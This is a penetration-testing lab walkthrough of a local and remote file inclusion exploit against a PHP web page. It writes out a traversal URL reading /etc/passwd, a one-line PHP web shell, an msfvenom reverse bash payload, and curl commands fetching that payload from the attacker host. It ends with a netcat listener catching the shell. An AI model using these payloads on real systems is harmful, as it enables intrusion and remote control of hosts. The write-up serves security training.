Local File Inclusion (LFI) is a common web application vulnerability that allows attackers to gain unauthorized access to files on a victim host. In an LFI attack, the attacker exploits a flaw in a web application to trick it into including a local file, such as a configuration file or a script, that contains sensitive information.

LFI attacks typically start with an attacker finding a vulnerable web application that accepts user input, such as a search bar or a file upload feature. The attacker then uses this input to manipulate the web application and force it to include a local file. Once the attacker gains access to the file, they can extract sensitive information, such as passwords or system configuration settings, and use it to gain further access to the victim host.

Proof of Concept

Practicing our Pentest methodology in this simulated lab environment. We will be exploiting a local file inclusion (LFI) vulnerability.

Target Host: http://10.11.1.35/

Scope: Enumerate the host, find any vulnerabilities on the host, and exploit the vulnerabilities to gain full system access to the victim.

Reconaissance

Starting with the reconnaissance phase. We will enumerate the target host with nmap to gather information about the technologies being used on the system and what ports are open.

# nmap -Pn -sV -vv 10.11.1.35

After our network scan we see there are two open ports on the target host. Port 22 is running OpenSSH 7.4 and port 80 is running Apache httpd 2.4.6 with PHP 5.4.16. Nmap further shows that the operating system that is running on the host is CentOS. Let’s browse to the target ip from our web browser and see what website is being served.

The homepage shows a “Secure Server Web Interface” and according to the comments on the page. The web interface code has not been completed. We note the username Justin on the page. Trying to browse the sidebar links also doesn’t direct us to any other pages. Let’s view the page source code.

The source code shows some iframe embeds but not much more information. This code for this website is confirmed not complete and very early in development. With this in mind let’s think like a threat actor. The first thing to do is try and take advantage of the flaws in unfinished software code. Specifically focusing on Web Application security we think about the OWASP Top Ten security flaws.

OWASP Top 10 is a list of the most common and critical web application security risks, including injection vulnerabilities, broken authentication and session management, and cross-site scripting. Let’s attempt some of these attacks on the unfinished website.

Back on the main page we hover our mouse over the sidebar link called “Bob’s Docs”. On the bottom of our web browser we are able to see the direct link to the page. Let’s browse directly to http://10.11.1.35/section.php?page=bobdocs.

Directly browsing to the “Bob’s Docs” page shows a blank page. Let’s attempt a directory traversal attack. This method is not common in 2023 but can be seen in the wild on rare occasions. What we’ll do is use a common directory traversal attack to test if there is a local file inclusion (LFI) vulnerability. Through our enumeration we know the operating system that is running on the victim host is CentOS. Understanding the linux based filesystem is important when testing this attack.  In our web browser we remove the “=bobdocs” part of the url and type in http://10.11.1.35/section.php?page=../../../etc/passwd.

We confirm a file disclosure vulnerability. The website prints out the entire contents of the /etc/passwd file which shows all users that exist on the target host machine. The vulnerability allows us to ready any file on the target host by typing in absolute paths that exist on CentOS. A rare vulnerability called Remote File Inclusion could allow us to trick the target host into downloading any file we want onto itself and executing it.

Weaponization

Following the cyber kill chain we move forward to the weaponization phase. So far we have gathered valuable information including the operating system the target host is running, the outdated unfinished web page, and outdated technologies running on the website including PHP. Let’s create a test file we want to trick the target host into downloading and displaying on the websites page.

# echo "This is an evil file" > evil.txt

On our attacker machine we created a file called evil.txt and in the file the sentence “This is an evil file” is saved. What we want to do is host this evil.txt file on our attacker machine via an http server and have the victim host download it. Let’s start our python http server that will allow the victim host to download the evil.txt file.

# python -m http.server 80

With our attack prepared and ready. Let’s attempt to download the evil.txt file to the victim host. We append our attacking machine ip address to the vulnerable website url http://10.11.1.35/section.php?page=http://192.168.119.170:8000/evil.txt

Our attacking machine http server confirms there was a GET request for the evil.txt file. On the web browser we attempted the Remote File Inclusion (RFI) attack we see the page print out “This is an evil file”. We have successfully tricked the victim host to download a file. We can now get the victim host to download any file we want and execute it. Considering this server is running php. Let’s create a malicious .php file and attempt to get Remote Code Execution.

# echo '<?='$_GET[0]'?>' > shell.php

Creating a file called shell.php with the code shown above. It allows us to remotely execute commands via a php global variable. We must now create a second exploitation payload with MSFVenom.

msfvenom -p cmd/unix/reverse_bash LHOST=192.168.119.170 LPORT=80 -f raw > shell.sh

The shell.sh that we create with MSFVenom is the file we want the target host to download. Similar to the method used earlier. We want to trick the victim host into downloading our shell.sh file so we can execute it and have the victim connect back to our attacker machine. With our attack laid out and payloads prepared. We can now host both the shell.php file and shll.sh file via a python http server so the victim can call back and download it from us.

# python -m http.server 8000

This will create an http server serving content of the current working directory on port 8000. We use port 8000 because we want to keep port 80 free which is the port our netcat listener will be waiting to catch the reverse shell call out.

Delivery

Moving into the delivery phase of the cyber kill chain. We can now attempt to deliver both our malicious shell.php and shell.sh file created. Browsing to the victim website http://10.11.1.35/section.php?= we can append out attacker machines http server ip and also include the shell.php to excute commands.

On the website we browse to the following:

http://10.11.1.35/section.php?page=http://192.168.119.170:8000/shell.php&0=ip a

What we’ve done is tricked the victim website into downloading our shell.php file to execute the malicious php code within it. With the victim running our own .php code we can now type in any command we want to remotely execute on the victim host. We used the “ip a” command to view the target hosts ip information. The output looks a little hard to read so what we can do is right click and choose to “View Page Source”.

You can now clearly see that our command ran successfully on the victim host. Since we can trick the victim host into downloading or executing any file we want. Let’s use the “curl” to download the shell.sh file we created earlier.

http://10.11.1.35/section.php?page=http://192.168.119.170:8000/shell.php&0=curl http://192.168.119.170:8000/shell.sh --output /tmp/shell.sh

The curl command downloaded our shell.sh file from our attacker machine and saved the file to the /tmp/ folder on the victim host file system. We confirm if our delivery method worked by using the “ls -lsa” command. Seeing the shell.sh file on the website we can now execute the file by browsing to the following location on our web browser.

Exploitation

Since we have successfully delivered our payload onto the victim host. We can now commence the exploitation phase of executing our shell.sh file on the target. Executing our reverse shell will have the victim host connect back to our attacker machine giving us a full shell on the victim allowing us to freely move around and do whatever we want on the system.

First we need to create a listener on our attacker machine so when the shell.sh is executed on the victim host, we catch the reverse shell call back on our attacking machine.

# nc -lvnp -80

We can now browse to the website to have it execute the shell.sh file we tricked it into downloading. We browse to the following:

http://10.11.1.35/section.php?page=http://192.168.119.170:8000/shell.php&0=sh%20/tmp/shell.sh

Our netcat listener confirms a connection from the target victim 10.11.1.35. Let’s confirm this with the “whoami” and “ip a” command.

We can now freely browse the system and begin to move forward with privilege escalation. Once we gain root we can begin the post exploitation phase and gather all the loot necessary. Remember kids. With great power, comes great responsibility.

Extra Notes:

The attack path seems to have gotten complicated. Let’s review attack path below:

1. We find a vulnerable URL on the victim host http://10.11.1.35/section.php?page=
2. Anything after the "=" will be downloaded or executed by the victim host so we add our attacking server ip http://10.11.1.35/section.php?page=http://192.168.119.170:8000/shell.php&0=
3. After tricking the victim host into downloading and executing our shell.php code that allows us to append system commands, we can run any command we want such as http://10.11.1.35/section.php?page=http://192.168.119.170:8000/shell.php&0=MyCommandHere
4. With the curl command we downloaded our shell.sh file and saved it to the victim hosts /tmp/ folder since that is the only folder we would have write permissions to.
5. Once we got out malicious shell.sh file on the victim host. All we had to do is execute the file via our web browser by pointing to it and it was game over.